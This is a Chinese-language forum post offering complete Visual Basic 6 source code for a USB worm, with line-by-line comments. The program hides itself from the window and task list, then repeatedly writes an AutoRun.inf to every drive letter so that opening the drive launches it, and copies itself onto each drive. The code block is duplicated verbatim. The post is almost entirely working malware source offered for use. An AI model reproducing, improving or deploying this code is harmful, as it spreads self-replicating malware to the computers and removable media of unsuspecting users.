vb U盘病毒超精简代码
Page 1 of 1
vb U盘病毒超精简代码
Dim i As Integer, FileNumber As Integer, ipath As String
Private Sub Form_Load()
If App.PrevInstance Then End '避免重复运行
Timer1.Enabled = False
Me.Hide '隐藏窗体
App.TaskVisible = False '不在任务管理器的窗口任务列表中显示
ipath = App.Path & "\" & App.EXEName & ".exe" '程序自身路径
Timer1.Interval = 100
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
On Error Resume Next '如果出错,程序仍然可以继续向下执行
FileNumber = FreeFile 'FreeFile函数可以得到一个系统未使用的文件号
For i = 65 To 90 ' For...Next 循环语句,大写字母A的Ascii码为65,总共有26字母,递增到90
Open Chr(i) & ":\AutoRun.inf" ForOutput As #FileNumber '在每一盘目录下生成一个AutoRun.inf,打开该文件
Print #FileNumber, "[AutoRun]" '将数据写入
Print #FileNumber, "open=" & App.EXEName & ".exe" '以下同上
Print #FileNumber,"shell\open=打开(&O)"
Print #FileNumber, "shell\open\Command=" & App.EXEName &".exe"
Print #FileNumber, "shell\open\Default=1"
Print #FileNumber,"shell\explore=资源管理器(&X)"
Print #FileNumber,"shell\explore\Command=" & App.EXEName & ".exe"
Close #FileNumber '关闭打开的文件句柄
FileCopy ipath, Chr(i) & ":\" & App.EXEName & ".exe" '复制自身到每个盘,filecopy语句,ipath是用来表示要被复制的文件名,Chr(i) & ":\"& App.EXEName & ".exe" 是用来指定要复制的目地文件名
Next
End Sub
Private Sub Form_Load()
If App.PrevInstance Then End '避免重复运行
Timer1.Enabled = False
Me.Hide '隐藏窗体
App.TaskVisible = False '不在任务管理器的窗口任务列表中显示
ipath = App.Path & "\" & App.EXEName & ".exe" '程序自身路径
Timer1.Interval = 100
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
On Error Resume Next '如果出错,程序仍然可以继续向下执行
FileNumber = FreeFile 'FreeFile函数可以得到一个系统未使用的文件号
For i = 65 To 90 ' For...Next 循环语句,大写字母A的Ascii码为65,总共有26字母,递增到90
Open Chr(i) & ":\AutoRun.inf" ForOutput As #FileNumber '在每一盘目录下生成一个AutoRun.inf,打开该文件
Print #FileNumber, "[AutoRun]" '将数据写入
Print #FileNumber, "open=" & App.EXEName & ".exe" '以下同上
Print #FileNumber,"shell\open=打开(&O)"
Print #FileNumber, "shell\open\Command=" & App.EXEName &".exe"
Print #FileNumber, "shell\open\Default=1"
Print #FileNumber,"shell\explore=资源管理器(&X)"
Print #FileNumber,"shell\explore\Command=" & App.EXEName & ".exe"
Close #FileNumber '关闭打开的文件句柄
FileCopy ipath, Chr(i) & ":\" & App.EXEName & ".exe" '复制自身到每个盘,filecopy语句,ipath是用来表示要被复制的文件名,Chr(i) & ":\"& App.EXEName & ".exe" 是用来指定要复制的目地文件名
Next
End Sub
cyjian- Spammer
- Posts : 211
Points : 72995
Reputation : 0
Join date : 2014-06-18
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
|
|